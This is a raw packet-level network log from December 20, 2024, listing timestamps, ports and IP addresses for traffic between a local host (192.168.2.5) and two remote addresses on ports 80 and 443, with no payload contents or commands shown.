Dec 20, 2024 02:11:29.725234032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.727089882 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.728718042 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.728727102 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.773260117 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.880911112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881078959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881134033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.881153107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881164074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881198883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.881217003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.881726027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881814957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.881818056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.881871939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.882358074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.882405996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.882462025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.883063078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.883125067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.883239985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.883810997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.883865118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.883929968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.884262085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.884455919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.884500027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.884567976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.884612083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.885176897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.885186911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.885220051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.885235071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.885843039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.885895014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.885958910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.886043072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.886540890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.886636972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.886645079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.886683941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.887260914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.887382984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.887415886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.887415886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.887917995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.888037920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.888087988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.888657093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.888700962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.888731956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.888771057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.889339924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.889484882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.889528036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.890018940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.890175104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.890221119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.890820026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.890861988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.890911102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.890954018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.891437054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.891448021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.891483068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.892152071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.892194986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.892291069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.892332077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.892826080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.892878056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.892936945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.892992973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.893575907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.893624067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.893644094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.893775940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.894257069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.894383907 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.894423962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.894426107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.894489050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.894905090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.894953012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.895024061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.895255089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.895647049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.895693064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.895786047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.896282911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.896332026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.896397114 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.896439075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.897036076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.897077084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.897136927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.897686005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.897735119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.897769928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.897814035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.898293018 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.898346901 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.898355961 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.898412943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.898457050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.898466110 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.898477077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.898521900 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.898530960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.898534060 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.899079084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.899122953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.899323940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.899363041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.899382114 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.899425983 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.899486065 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.899493933 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.899509907 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.899514914 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.899786949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.899838924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.899960995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.900002003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.900548935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.900592089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.900924921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.900974989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.901169062 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.901578903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.901628971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.901865959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.901915073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.901978016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.902024031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.902614117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.902625084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.902662992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.903270006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.903326988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.903359890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.903404951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.903949022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.904011965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.904081106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.904136896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.904987097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.905003071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.905028105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.905042887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.905354023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.905395985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.905529022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.905570030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.906122923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.906212091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.906264067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.906801939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.906877041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.906971931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.907025099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.907484055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.907560110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.907608032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.908243895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.908256054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.908299923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.908875942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.908921003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.908982992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.909029007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.909564018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.909606934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.909641981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.909683943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.910290003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.910372019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.910413980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.910456896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.910969019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.911014080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.911046028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.911176920 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.911650896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.911715984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.911741972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.911784887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.912348986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.912394047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.912424088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.912472963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.913022041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.913063049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.913156986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.913198948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.913768053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.913805008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.913813114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.913839102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.914428949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.914483070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.914522886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.914570093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.915184021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.915236950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.915307045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.915353060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.915838957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.915904045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.915971041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.916027069 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.916543007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.916588068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.916623116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.916670084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.917175055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.917222977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.073334932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.073399067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.073442936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.073709965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.073759079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.073765993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.073808908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.074274063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.074395895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.074445963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.075025082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.075079918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.075265884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.075320005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.075726032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.075783014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.075877905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.075926065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.076360941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.076406002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.076560020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.076607943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.077084064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.077135086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.077296019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.077342987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.077738047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.077795982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.077871084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.077929020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.078473091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.078519106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.078547955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.078592062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.079914093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.079926014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.079936028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.079958916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.079968929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.080003977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.080588102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.080662966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.080713987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.081243038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.081296921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.081362009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.081412077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.081939936 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.082005024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.082058907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.082108974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.082663059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.082712889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.082777977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.082823992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.083539009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.083550930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.083606005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.084054947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.084111929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.084132910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.084173918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.084836960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.084847927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.084877968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.084892035 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.085481882 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.085602999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.085645914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.086117983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.086241007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.086278915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.086821079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.086997032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.087049961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.087620974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.087668896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.087701082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.087752104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.088227034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.088315010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.088320971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.088355064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.088905096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.088953972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.088993073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.089050055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.089667082 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.089705944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.089729071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.089764118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.090317011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.090416908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.090459108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.091088057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.091130018 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.091160059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.091204882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.091756105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.091886044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.091931105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.092433929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.092493057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.092539072 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.093168974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.093178988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.093220949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.093813896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.093965054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.093990088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.094032049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.096586943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.096649885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.098159075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098206043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.098551035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098567009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098578930 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098591089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098592997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.098604918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.098612070 CET	49875	80	192.168.2.5	31.41.244.11
